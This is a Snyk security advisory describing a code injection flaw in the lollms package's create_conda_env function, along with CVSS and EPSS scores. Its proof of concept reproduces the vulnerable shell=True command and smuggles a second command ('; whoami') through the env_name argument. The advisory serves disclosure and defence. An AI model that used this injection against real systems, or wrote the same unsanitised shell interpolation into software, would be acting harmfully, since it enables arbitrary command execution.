Improper Control of Generation of Code ('Code Injection') Affecting lollms package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (10th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-LOLLMS-7361779
  • published 30 Jun 2024
  • disclosed 24 Jun 2024
  • credit DarkNinja

How to fix?

There is no fixed version for lollms.

Overview

lollms is an A python library for AI personality definition

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the create_conda_env function. An attacker can execute arbitrary commands by manipulating the env_name and python_version parameters.

PoC


import subprocess
import sys
import os

def create_conda_env(env_name, python_version):
    # Activate the Conda environment
    if platform.system()=="Windows":
        conda_path = Path(sys.executable).parent.parent/"miniconda3"/"condabin"/"conda"
    else:
        conda_path = Path(sys.executable).parent.parent.parent/"miniconda3"/"bin"/"conda"
    ASCIIColors.red("Conda path:")
    ASCIIColors.yellow(conda_path)
    process = subprocess.Popen(f'{conda_path} create --name {env_name} python={python_version} -y', shell=True)

# POC for the remote code execution vulnerability
create_conda_env("test_env; whoami", "3.9")

References

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
7 high
  • Attack Vector (AV)
    Physical
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    High
  • Integrity (VI)
    High
  • Availability (VA)
    High
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None